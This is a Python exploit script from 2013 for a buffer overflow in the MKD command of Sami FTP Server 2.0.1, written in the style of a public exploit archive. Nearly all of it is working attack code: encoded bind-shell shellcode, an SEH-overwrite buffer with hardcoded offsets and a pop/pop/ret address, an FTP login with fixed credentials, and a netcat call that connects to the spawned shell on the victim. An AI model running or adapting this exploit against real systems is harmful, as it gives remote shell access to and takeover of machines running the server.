Sami FTP Server 2.0.1 – MKD Buffer Overflow ASLR Bypass (SEH)
#!/usr/bin/python # Exploit Title: Sami FTP MKD buffer overflow (SEH) + Bypass ASL # Date: 11 Agosto 2013 # Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org # Vendor Homepage: http://www.karjasoft.com/old.php # Version: Sami FTP Server 2.0.1 # Tested on: Windows 7 Home Basic x86, Spanish # Thanks:To my wife for putting up with my possessions # # Description: # A buffer overflow is triggered when a long MKD command is sent to the server and the user views the Log tab. import socket, sys, os, time if len(sys.argv) != 3: print "[*] Uso: %s <Ip Victima> <Puerto> \n" % sys.argv[0] print "[*] Exploit created by Polunchis" print "[*] https://www.intrusionlabs.org" sys.exit(0) target = sys.argv[1] port = int(sys.argv[2]) #msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b '\x00\xff\x0a\x0d\x20\x40' -t c shellcode = ( "\xda\xcf\xb8\xba\xb3\x1e\xe7\xd9\x74\x24\xf4\x5a\x33\xc9\xb1" "\x56\x31\x42\x18\x83\xc2\x04\x03\x42\xae\x51\xeb\x1b\x26\x1c" "\x14\xe4\xb6\x7f\x9c\x01\x87\xad\xfa\x42\xb5\x61\x88\x07\x35" "\x09\xdc\xb3\xce\x7f\xc9\xb4\x67\x35\x2f\xfa\x78\xfb\xef\x50" "\xba\x9d\x93\xaa\xee\x7d\xad\x64\xe3\x7c\xea\x99\x0b\x2c\xa3" "\xd6\xb9\xc1\xc0\xab\x01\xe3\x06\xa0\x39\x9b\x23\x77\xcd\x11" "\x2d\xa8\x7d\x2d\x65\x50\xf6\x69\x56\x61\xdb\x69\xaa\x28\x50" "\x59\x58\xab\xb0\x93\xa1\x9d\xfc\x78\x9c\x11\xf1\x81\xd8\x96" "\xe9\xf7\x12\xe5\x94\x0f\xe1\x97\x42\x85\xf4\x30\x01\x3d\xdd" "\xc1\xc6\xd8\x96\xce\xa3\xaf\xf1\xd2\x32\x63\x8a\xef\xbf\x82" "\x5d\x66\xfb\xa0\x79\x22\x58\xc8\xd8\x8e\x0f\xf5\x3b\x76\xf0" "\x53\x37\x95\xe5\xe2\x1a\xf2\xca\xd8\xa4\x02\x44\x6a\xd6\x30" "\xcb\xc0\x70\x79\x84\xce\x87\x7e\xbf\xb7\x18\x81\x3f\xc8\x31" "\x46\x6b\x98\x29\x6f\x13\x73\xaa\x90\xc6\xd4\xfa\x3e\xb8\x94" "\xaa\xfe\x68\x7d\xa1\xf0\x57\x9d\xca\xda\xee\x99\x04\x3e\xa3" "\x4d\x65\xc0\x33\x42\xe0\x26\xd9\x4a\xa5\xf1\x75\xa9\x92\xc9" "\xe2\xd2\xf0\x65\xbb\x44\x4c\x60\x7b\x6a\x4d\xa6\x28\xc7\xe5" "\x21\xba\x0b\x32\x53\xbd\x01\x12\x1a\x86\xc2\xe8\x72\x45\x72" "\xec\x5e\x3d\x17\x7f\x05\xbd\x5e\x9c\x92\xea\x37\x52\xeb\x7e" "\xaa\xcd\x45\x9c\x37\x8b\xae\x24\xec\x68\x30\xa5\x61\xd4\x16" "\xb5\xbf\xd5\x12\xe1\x6f\x80\xcc\x5f\xd6\x7a\xbf\x09\x80\xd1" "\x69\xdd\x55\x1a\xaa\x9b\x59\x77\x5c\x43\xeb\x2e\x19\x7c\xc4" "\xa6\xad\x05\x38\x57\x51\xdc\xf8\x67\x18\x7c\xa8\xef\xc5\x15" "\xe8\x6d\xf6\xc0\x2f\x88\x75\xe0\xcf\x6f\x65\x81\xca\x34\x21" "\x7a\xa7\x25\xc4\x7c\x14\x45\xcd" ) # SEH overwritten at offset 468 # pop\pop\ret ESP at C:\Program Files\PMSystem\Temp\tmp0.dll (Universal) # pop/pop/ret 10022689 jmpshort = '\xeb\x06\x90\x90' nexseh= '\x89\x26\x02\x10' garbage= '\x41' * 468 fixstack= '\x81\xc4\x48\xf4\xff\xff' buffer = garbage + jmpshort + nexseh + fixstack + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Connect to %s on port %d" % (target,port) try: s.connect((target,port)) s.recv(1024) s.send('USER polunchis\r\n') s.recv(1024) s.send('PASS polunchis\r\n') s.recv(1024) s.send("MKD " + buffer + "\r\n") print "[+] Sending payload of size", len(buffer) print s.recv(1024) s.close() print "[+] Exploit Sent Successfully" print "[+] Waiting for 5 sec before spawning shell to " + target + ":28876\r" print "\r" time.sleep(5) os.system ("nc -n " + target + " 28876") print "[-] Connection lost from " + target + ":28876 \r" except: print "[-] Could not connect to " + target + ":21\r" sys.exit(0) |